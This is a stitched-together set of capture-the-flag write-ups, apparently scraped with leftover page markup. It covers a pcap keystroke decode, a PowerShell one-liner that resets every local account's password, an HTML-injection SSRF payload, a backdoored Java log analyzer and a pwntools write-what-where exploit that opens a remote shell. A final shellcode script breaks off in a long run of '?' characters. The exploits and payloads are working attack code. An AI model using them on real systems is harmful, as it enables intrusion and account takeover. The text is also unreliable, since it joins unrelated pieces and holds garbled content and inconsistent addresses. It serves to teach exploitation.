0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Solution</h1><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Recon</h2>after some looking at the file using wireshark we can see that these values changewe can assume initially that they are ascii valuesthe hint clearly refers to a keyboard layout<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Execution</h2>I went ahead and extracted these values manually and converted them from ascii to text but got nothing usefulhmmmm a keyboard layout ? is that what the hint is trying to say ?I looked online and found this mapping for a qwerty keyboard :<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" "1": "`", "2": "1", "3": "2", "4": "3", "5": "4", "6": "5", "7": "6", "8": "7", "9": "8", "10": "9", "11": "0", "12": "-", "13": "=", "14": "<-", "15": "tab", "16": "q", "17": "w", "18": "e", "19": "r", "20": "t", "21": "y", "22": "u", "23": "i", "24": "o", "25": "p", "26": "[", "27": "]", "28": "enter", "29": "caps", "30": "a", "31": "s", "32": "d", "33": "f", "34": "g", "35": "h", "36": "j", "37": "k", "38": "l", "39": ";", "40": "'", "41": "#", "42": "shift", "43": "\\", "44": "z", "45": "x", "46": "c", "47": "v", "48": "b", "49": "n", "50": "m", "51": ",", "52": ".", "53": "/", "54": "ctrl", "55": "win", "56": "alt", "57": "space", "58": "alt", "59": "win", "60": "menu", "61": "ctrl","> "1": "`", "2": "1", "3": "2", "4": "3", "5": "4", "6": "5", "7": "6", "8": "7", "9": "8", "10": "9", "11": "0", "12": "-", "13": "=", "14": "<-", "15": "tab", "16": "q", "17": "w", "18": "e", "19": "r", "20": "t", "21": "y", "22": "u", "23": "i", "24": "o", "25": "p", "26": "[", "27": "]", "28": "enter", "29": "caps", "30": "a", "31": "s", "32": "d", "33": "f", "34": "g", "35": "h", "36": "j", "37": "k", "38": "l", "39": ";", "40": "'", "41": "#", "42": "shift", "43": "\\", "44": "z", "45": "x", "46": "c", "47": "v", "48": "b", "49": "n", "50": "m", "51": ",", "52": ".", "53": "/", "54": "ctrl", "55": "win", "56": "alt", "57": "space", "58": "alt", "59": "win", "60": "menu", "61": "ctrl",</div>So I went ahead and decoded the values and as soon as i got "sh" as the first letters I knew I'm right !<h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag</h1>shctf{thanks f0r th3 t4nk. he n3ver get5 me anyth1ng}
We were given a pcap file to investigate and asked to recover the flag
Hint : alt,esc,1,2,3,4,5,6,7,8,9,0,-,=,backspace,tab,q,w,…
strangetrafficchallenge.pcap
we can assume initially that they are ascii values
I went ahead and extracted these values manually and converted them from ascii to text but got nothing useful
hmmmm a keyboard layout ? is that what the hint is trying to say ?
I looked online and found this mapping for a qwerty keyboard :
So I went ahead and decoded the values and as soon as i got "sh" as the first letters I knew I'm right !
shctf{thanks f0r th3 t4nk. he n3ver get5 me anyth1ng}
</div>
</div></div></div> </div> </div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
TL;DR ANSWER: `Get-LocalUser | Set-LocalUser -Password (ConvertTo-SecureString "ThisIsYourPassword123" -AsPlainText -Force)`
-----
### COMMANDS INFO:
There are a few ways to solve this challenge. The most important thing to know is that you will have to use powershell for this challenge.
There are things, in Powershell, called cmdlets (or "commandlets"). We will be using three cmdlets for this challenge:
`Set-LocalUser` :[https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/set-localuser?view=powershell-5.1](http://)
- *`Set-LocalUser`* modifies specific properties of local user account.
`Get-LocalUser` : [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localuser?view=powershell-5.1](http://)
- *`Get-LocalUser`* gets all the local accounts and their names.
`ConvertTo-SecureString` : [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.2](http://)
- *`ConvertTo-SecureString`* converts plain text or encrypted strings to secure strings.
-----
# STEP BY STEP
PART 1:
The script to change all the users password starts off with the command: `Get-LocalUser`
The output of this commands looks like this:

COMMAND COMPLETION:
`Get-LocalUser`
-----
PART 2:
After Get-LocalUser, there is the thing called the pipe symbol which symbolizes the pipeline.The pipeline is really powerful.
According to Microsoft, A pipeline is a series of commands connected by pipeline operators (|) (ASCII 124). Each pipeline operator sends the results of the preceding command to the next command.
The output of the first command can be sent for processing as input to the second command. And that output can be sent to yet another command. The result is a complex command chain or pipeline that is composed of a series of simple commands.
COMMAND COMPLETION:
`Get-LocalUser |`
-----
PART 3:
After the pipeline part of this command is the cmdlet `Set-LocalUser.` Set-LocalUser modifies specific properties of local user account. In this case, the Set-LocalUser cmdlet is going to modify a certain property such as the password in all the accounts since the `Get-LocalUser` cmdlet **didn't** specify a user. For example: `Get-LocalUser -Name User`. The following part of the command will be the start of setting all the passwords for every single user account like the challenge goal says.
COMMAND COMPLETION:
`Get-LocalUser | Set-LocalUser -Password`
-----
PART 4:
The last of of this script/command will be the convert the password into encrypted text so all the user accounts' passwords can be set.We are going to start this off with a **open bracket parenthesis** followed by the cmdlet `ConvertTo-SecureString` and the password of your choice in **double quotes**. The `ConvertTo-SecureString` command converts a plaintext string to system-encrypted string so the `-Password` parameter can set it. After the password of your choice is in double quotes, you are going to add the `-AsPlainText` and `-Force` parameters after the password. The `-AsPlainText` parameter converts the secure string (encrypted) password to plain text and the `-Force` command forces the event. After all this, end the command with a **close parenthesis**.
COMMAND COMPLETION:
`Get-LocalUser | Set-LocalUser -Password (ConvertTo-SecureString "ThisIsYourPassword123" -AsPlainText -Force)`
-----
## END COMMAND:
### `Get-LocalUser | Set-LocalUser -Password (ConvertTo-SecureString "ThisIsYourPassword123" -AsPlainText -Force)`
|
Hacker Ts was a hard-rated challenge featuring a simple webapp that used wkhtmltoimage to make a custom "hacker shirt" image. The website is doing no filtering, allowing for HTML injection and by extension, arbitrary JS execution. We then leverage this to get SSRF on the `/admin` directory and get the flag. See the full writeup [here](https://an00brektn.github.io/nahamcon-hacker-ts/).
Final payload:```html<div id='stuff'>a</div><script> x = new XMLHttpRequest(); x.open('GET','http://localhost:5000/admin',false); x.send(); document.getElementById('stuff').innerHTML= x.responseText; </script>``` |
I took part to the [DCTF 2022](https://ctftime.org/event/1569) with the team [Ulisse](https://ulis.se/) of the University of Bologna.
The Bookstore.java challenge stated that:
> Web developer left the company becouse he was not being paid. He left some hidden features for him, to bypass security. Can you find the vunerability? http://book-store.dragonsec.si
And gave us a [`book_store.jar`](/ctf/dragonsec-2022/bookstore/book_store.jar) file.
## The Log4Book
If we open the jarfile with a decompiler (like [JD-GUI](https://java-decompiler.github.io/)) we can see that there is a vulnerability in the log analyzer.
```javaPattern pattern2 = Pattern.compile("get\\{.*\\}salt=" + System.getenv("SALT"));Matcher matcher2 = pattern2.matcher(mssg);String substring2 = null;if (matcher2.find()) { substring2 = matcher2.group();}if (substring2 != null) { downloadFile(substring2.substring(substring2.indexOf(123) + 1, substring2.indexOf(125)));}```
If the log string contains the template `get{...}salt=` plus the env var `SALT` the program tries to send an HTTP request to the url between `{...}` with the header `Not-Found:` and the env var `NOT_FOUND` as the value.
```javaURL link = new URL(url);link.toURI();HttpURLConnection conn = (HttpURLConnection) link.openConnection();conn.setRequestMethod("GET");conn.setRequestProperty("not-found", System.getenv("NOT_FOUND"));```
## Finding the saltWe're given a hint:
> Method how the salt is generated is given through variable names in one java class. The salt is 8 chars long.
If we look at the class `Art` we can see that there are two strange variable names:
```java> String frequency = fontType.getValue();int analysis_should_be_fun = findImageWidth(textHeight, artText, frequency);```
which create: *frequency analysis should be fun*
## Analyzing the frequency
After trying to find some studies about the frequency analisis of Shakespeare plays without any result, we remember that the hint stated that the salt is **8 chars** and there are exactly **8 paragraphs** in the page presented in the website and in the file [`book.json`](/ctf/dragonsec-2022/bookstore/book.json)
If we join the most repeated letter of each paragraph we get the salt and then we can get the program to ping our url with the flag.
> Salt: `oeeeeooo`
> Flag: `dctf{L0g_4_hid3n_d@7@_n0t_s0_h@rd_righ7}` |
# Detour - NahamCon CTF 2022 - [https://www.nahamcon.com/](https://www.nahamcon.com/)Binary Exploitation, 404 Points
## Description
 ## Detour Solution
Let's run ```checksec``` on the attached file [detour](./detour):```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/detour]└──╼ $ checksec detour[*] '/nahamcon/binary_exploitation/detour' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
As we can see we have [NX Enabled](https://ctf101.org/binary-exploitation/no-execute/) and [Stack Canary](https://ctf101.org/binary-exploitation/stack-canaries/).
Let's run the binary:```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/detour]└──╼ $ ./detourWhat: 1Where: 2Segmentation fault```
So we can see that we have [Write-what-Were](https://www.martellosecurity.com/kb/mitre/cwe/123/).
Let's observe the ```main``` function using [Ghidra](https://github.com/NationalSecurityAgency/ghidra):```cundefined8 main(void){ long in_FS_OFFSET; undefined8 local_20; long local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("What: "); __isoc99_scanf(&DAT_00402013,&local_20); getchar(); printf("Where: "); __isoc99_scanf(&DAT_0040201f,&local_18); getchar(); *(undefined8 *)((long)&base + local_18) = local_20; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}```
And by observing the code we found also the ```win``` function:```consolevoid win(void){ system("/bin/sh"); return;}```
We need to write the address of ```win``` function to location that can execute it.
We can do it by override the address of the ```fini_array``` which called after the ```main``` function.
Let's find the address of the relevant functions using ```gdb```:```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/detour]└──╼ $ gdb detour..gef➤ info fileSymbols from "/nahamcon/binary_exploitation/detour/detour".Local exec file: `/nahamcon/binary_exploitation/detour/detour', file type elf64-x86-64. Entry point: 0x4010f0 0x00000000004002e0 - 0x00000000004002fc is .interp 0x0000000000400300 - 0x0000000000400320 is .note.gnu.property 0x0000000000400320 - 0x0000000000400344 is .note.gnu.build-id 0x0000000000400344 - 0x0000000000400364 is .note.ABI-tag 0x0000000000400368 - 0x0000000000400390 is .gnu.hash 0x0000000000400390 - 0x0000000000400498 is .dynsym 0x0000000000400498 - 0x000000000040052e is .dynstr 0x000000000040052e - 0x0000000000400544 is .gnu.version 0x0000000000400548 - 0x0000000000400588 is .gnu.version_r 0x0000000000400588 - 0x00000000004005e8 is .rela.dyn 0x00000000004005e8 - 0x0000000000400678 is .rela.plt 0x0000000000401000 - 0x000000000040101b is .init 0x0000000000401020 - 0x0000000000401090 is .plt 0x0000000000401090 - 0x00000000004010f0 is .plt.sec 0x00000000004010f0 - 0x0000000000401345 is .text 0x0000000000401348 - 0x0000000000401355 is .fini 0x0000000000402000 - 0x0000000000402023 is .rodata 0x0000000000402024 - 0x0000000000402078 is .eh_frame_hdr 0x0000000000402078 - 0x00000000004021b8 is .eh_frame 0x00000000004031b8 - 0x00000000004031c8 is .init_array 0x00000000004031c8 - 0x00000000004031d0 is .fini_array 0x00000000004031d0 - 0x00000000004033a0 is .dynamic 0x00000000004033a0 - 0x00000000004033b0 is .got 0x00000000004033b0 - 0x00000000004033f8 is .got.plt 0x00000000004033f8 - 0x0000000000403408 is .data 0x0000000000403410 - 0x0000000000403438 is .bss$2 = {<text variable, no debug info>} 0x401348 <_fini>gef➤ print win$3 = {<text variable, no debug info>} 0x401209 <win>```So we need to write ```0x401348``` (win) to ```0x4031c8``` (.fini_array).
By observing the code we can see the following line:```c*(undefined8 *)((long)&base + local_18) = local_20;```
Meaning that we need to find also the address of the ```base```.
We can do it also by using ```gdb``` by disassemblie the ```main``` function:```asmgef➤ disassemble mainDump of assembler code for function main: 0x0000000000401220 <+0>: endbr64 0x0000000000401224 <+4>: push rbp 0x0000000000401225 <+5>: mov rbp,rsp 0x0000000000401228 <+8>: sub rsp,0x20 0x000000000040122c <+12>: mov rax,QWORD PTR fs:0x28 0x0000000000401235 <+21>: mov QWORD PTR [rbp-0x8],rax 0x0000000000401239 <+25>: xor eax,eax 0x000000000040123b <+27>: lea rdi,[rip+0xdca] # 0x40200c 0x0000000000401242 <+34>: mov eax,0x0 0x0000000000401247 <+39>: call 0x4010c0 <printf@plt> 0x000000000040124c <+44>: lea rax,[rbp-0x18] 0x0000000000401250 <+48>: mov rsi,rax 0x0000000000401253 <+51>: lea rdi,[rip+0xdb9] # 0x402013 0x000000000040125a <+58>: mov eax,0x0 0x000000000040125f <+63>: call 0x4010e0 <__isoc99_scanf@plt> 0x0000000000401264 <+68>: call 0x4010d0 <getchar@plt> 0x0000000000401269 <+73>: lea rdi,[rip+0xda7] # 0x402017 0x0000000000401270 <+80>: mov eax,0x0 0x0000000000401275 <+85>: call 0x4010c0 <printf@plt> 0x000000000040127a <+90>: lea rax,[rbp-0x10] 0x000000000040127e <+94>: mov rsi,rax 0x0000000000401281 <+97>: lea rdi,[rip+0xd97] # 0x40201f 0x0000000000401288 <+104>: mov eax,0x0 0x000000000040128d <+109>: call 0x4010e0 <__isoc99_scanf@plt> 0x0000000000401292 <+114>: call 0x4010d0 <getchar@plt> 0x0000000000401297 <+119>: mov rax,QWORD PTR [rbp-0x10] 0x000000000040129b <+123>: mov rdx,rax 0x000000000040129e <+126>: lea rax,[rip+0x218b] # 0x403430 <base> 0x00000000004012a5 <+133>: add rdx,rax 0x00000000004012a8 <+136>: mov rax,QWORD PTR [rbp-0x18] 0x00000000004012ac <+140>: mov QWORD PTR [rdx],rax 0x00000000004012af <+143>: mov eax,0x0 0x00000000004012b4 <+148>: mov rcx,QWORD PTR [rbp-0x8] 0x00000000004012b8 <+152>: xor rcx,QWORD PTR fs:0x28 0x00000000004012c1 <+161>: je 0x4012c8 <main+168> 0x00000000004012c3 <+163>: call 0x401090 <__stack_chk_fail@plt> 0x00000000004012c8 <+168>: leave 0x00000000004012c9 <+169>: ret End of assembler dump.```
An we can see the ```base``` on ```lea rax,[rip+0x218b] # 0x403430 <base>``` which is ```0x403430```.
Let's solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html) with the following [code](./exp_detour.py):```pythonfrom pwn import *
elf = ELF('./detour')libc = elf.libc
if args.REMOTE: p = remote('challenge.nahamcon.com', 32680)else: p = process(elf.path)
# funcions addressaddress_of_win = 0x401209address_of_fini = 0x4031c8address_of_base = 0x403430p.recvuntil(':')p.sendline(str(address_of_win))p.recvuntil(':')p.sendline(str(address_of_fini-address_of_base))p.interactive()```
Run it:```console┌─[evyatar@parrot]─[/nahamcon/binary_exploitation/detour]└──╼ $ python3 detour_pwn.py REMOTEpython3 exp_rop.py REMOTE[*] '/nahamcon/binary_exploitation/detour' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to challenge.nahamcon.com on port 32680: Done[*] Switching to interactive mode $ lsbindetourdevetcflag.txtliblib32lib64libx32usr$ cat flag.txtflag{787325292ef650fa69541722bb57bed9}```
And we get the flag ```flag{787325292ef650fa69541722bb57bed9}```. |
The solution includes calculating all bytes from 0-255 by extraction of emoji-bytes and subsequent addition and subtraction.Those bytes could then be used to craft a simple shell bytecode using pwntools.
```python# coding=utf8import requestsfrom pwn import *
base_url = "http://challenge.nahamcon.com:31730"
all_emojis = ["©", "®", "‼", "⁉", "™", "ℹ", "↔", "↕", "↖", "↗", "↘", "↙", "↩", "↪", "⌚", "⌛", "⌨", "⏏", "⏩", "⏪", "⏫", "⏬", "⏭", "⏮", "⏯", "⏰", "⏱", "⏲", "⏳", "⏸", "⏹", "⏺", "Ⓜ", "▪", "▫", "▶", "◀", "◻", "◼", "◽", "◾", "☀", "☁", "☂", "☃", "☄", "☎", "☑", "☔", "☕", "☘", "☝", "☠", "☢", "☣", "☦", "☪", "☮", "☯", "☸", "☹", "☺", "♈", "♉", "♊", "♋", "♌", "♍", "♎", "♏", "♐", "♑", "♒", "♓", "♠", "♣", "♥", "♦", "♨", "♻", "♿", "⚒", "⚓", "⚔", "⚖", "⚗", "⚙", "⚛", "⚜", "⚠", "⚡", "⚪", "⚫", "⚰", "⚱", "⚽", "⚾", "⛄", "⛅", "⛈", "⛎", "⛏", "⛑", "⛓", "⛔", "⛩", "⛪", "⛰", "⛱", "⛲", "⛳", "⛴", "⛵", "⛷", "⛸", "⛹", "⛺", "⛽", "✂", "✅", "✈", "✉", "✊", "✋", "✌", "✍", "✏", "✒", "✔", "✖", "✝", "✡", "✨", "✳", "✴", "❄", "❇", "❌", "❎", "❓", "❔", "❕", "❗", "❣", "❤", "➕", "➖", "➗", "➡", "➰", "➿", "⤴", "⤵", "⬅", "⬆", "⬇", "⬛", "⬜", "⭐", "⭕", "〰", "〽", "㊗", "㊙", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", 